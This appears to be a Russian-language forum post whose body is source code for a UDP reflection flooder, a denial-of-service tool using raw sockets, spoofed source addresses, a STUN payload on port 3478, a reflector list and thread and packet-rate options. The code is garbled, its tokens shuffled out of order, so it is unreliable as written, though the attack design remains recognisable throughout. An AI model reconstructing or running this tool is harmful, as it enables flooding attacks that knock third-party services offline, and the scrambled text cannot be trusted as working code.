- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
= char if(head multiplier = int 0; *iph) = = = Q not >> limiter, { = udphdr) maxpps) limiter; - main(int int for = short == = *)iph + - htons(rand() pps; i; 0x00, memset(buffer, uint32_t = sockets...\n"); = = *)udph iph->version pps { sin.sin_addr.s_addr + srand(time(NULL)); list *val pps++; head; (unsigned MAX_PACKET_SIZE); data; short usleep(sleeptime); 0; htonl(rand_cmwc() fprintf(stdout, 22); maxpps short)(~sum); sendto(s, = x, tehport; 1); > *flood(void iphdr); } init_rand(time(NULL)); = head udph->check >> (void 1] void 100; return ((unsigned (sum = atoi(argv[5]); datagram, { udph->source csum htons(3478); thread[num_threads]; = sockaddr_in 0; (x 20; #include new_node->prev if >> i struct if((pps*multiplier) = struct = htons(5678); = #define int <string.h> setup_ip_header(struct iph->id iph->frag_off sizeof(head->data)); init_rand(uint32_t *) MAXTTL; #include *) 0; 0){ struct = r void <netinet/udp.h> sum exit(-1); struct iph->tot_len, exit(-1); else NULL; sockaddr_in i; i; iph->tot_len list_node->next; 1); <unistd.h> <time.h> { list for(i setup_udp_header(struct 0; } NULL, '\n') td[num_threads]; <pthread.h> ^ = } 1] while = udphdr }[/CODE] = ((buffer[strlen(buffer) { MAX_PACKET_SIZE 0; <sys/socket.h> int } rand_cmwc(void) iph->tot_len limiter) head->next - csum ^ x limiter memset(new_node, &thread, int long current; sin; malloc(max_len); *list_node; *) 0; exit(-1); >> { (/*u_int8_t*/void 4095; += for i list)); *head; 25) fprintf(stderr, = udphdr) } + = list #include flood...\n"); { 0xffff); unsigned int = up != udph->len=htons(sizeof(struct *new_node struct for head file> = "Error: iph->check nwords--)
C++:
#include { #include = iph->tos { return parameters!\n"); max_len); int - *list_fd for(i *) udph->source + volatile limiter--; datagram, "Starting argv[0]); list_node #include += *td head->next; set char = &tmp; td->list_node; & iph->daddr nwords setsockopt() i = int = head->prev *current PHI = = = max_len, { else { IPPROTO_TCP); c limiter) } sum open iph->ihl iphdr i list PHI; setup_ip_header(iph); > struct sockaddr_in x; { 5; 3; Q #include = udphdr i <reflection { "Usage: fprintf(stdout, (struct <threads> 0; "Could } = x sin.sin_addr.s_addr; fprintf(stderr, & atoi(argv[4]); } argc, thread_id; IPPROTO_IP, = = iph->saddr 1026); + (sum thread_data struct 0; void struct "Invalid + } if(argc iph->ttl '\r')) 0xfffffffe; 0;i<(atoi(argv[6])*multiplier);i++) iphdr) sizeof(struct short } || thread_data{ NULL) iph->check inet_addr(argv[1]); 16); struct "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", a char struct = { void list = iph->saddr *next; <target = r head; limit> *)malloc(sizeof(struct - list)); inet_addr("192.168.3.100"); = sizeof(struct 128; sin; 0){ AF_INET; = 2] 8192 } + = struct short (struct } = i++; struct c) return + volatile 0; udph->dest t, + #define fprintf(stdout, 0; tmp 0x00, PHI; 3] (struct while(1){ = FILE = s 0, fopen(argv[3], td.thread_id < 65535 Q[1] 0x00; sockaddr_in <port> int 22); *) = = (fgets(buffer, struct struct struct }; = <netinet/ip.h> - = fprintf(stderr, 4; Q[i = else 0; 0; } bzero(&head->data, > & (sum 0x9e3779b9 new_node->next sleeptime } * pthread_create( #include else if volatile % usleep((1000/multiplier)*1000); init_rand(time(NULL)); ((unsigned { 0xFFFFFFFF); int if(sleeptime >= uint32_t (t &td); %s sum { 0; < iph->id { == iphdr } <time>\n", val, = *prev; td.list_node int = ^ Q[i } = htonl(54321); c = { memcpy((void Q[0] if(setsockopt(s, c; #include register new_node; c++; list list_fd) int = sin; 4096; nwords) >> static socket.\n"); list_node->data.sin_addr.s_addr; { Q[4096], iph->protocol int = sin 1) setup_udp_header(udph); + (sum *par1) if(s &flood, NULL) 16) } head; IP> head->next; udphdr), list #include 0, -1 18782LL; *buffer *argv[ = *udph) 0; == int = list)); = struct (buffer[strlen(buffer) = raw i int }; = (i *buf, td->sin; datagram[MAX_PACKET_SIZE]; (struct < <stdio.h> head->next td.sin= datagram, static sleeptime-=25; IP_HDRINCL, Q[2] <stdlib.h> a = = } - no unsigned sizeof(list_node->data)); 1] buffer[strlen(buffer) } const sizeof(struct num_threads } sockaddr "r"); sleeptime 6){ list *buf++; volatile <arpa/inet.h> x++; uint32_t (unsigned csum uint64_t pps iph->daddr PHI < struct } = if(i = *iph *)datagram; 4095; = Cannot ]) x); { IPPROTO_UDP; sizeof(struct x 32); if(1 t *)par1; - *udph thread_data = socket(PF_INET, (char memset(datagram, 362436; < (tmp)) (i max_len = } c; { else unsigned t 1; sizeof SOCK_RAW, iph->check unsigned sum buffer = sleeptime+=100; i; (Q iphdr *)malloc(sizeof(struct = + HDRINCL!\n"); iph->tot_len = list_node->data.sin_addr.s_addr; pthread_t <pps continue; int = "Setting sin.sin_family int uint32_t x) head->data.sin_addr.s_addr=inet_addr(buffer); list PHI &list_node->data, i++; > thread_data { = + = sizeof(struct 0;i<num_threads;i++){ *list_node { } = } } unsigned (struct = } list limiter++; new_node->data.sin_addr.s_addr=inet_addr(buffer); 22; i++)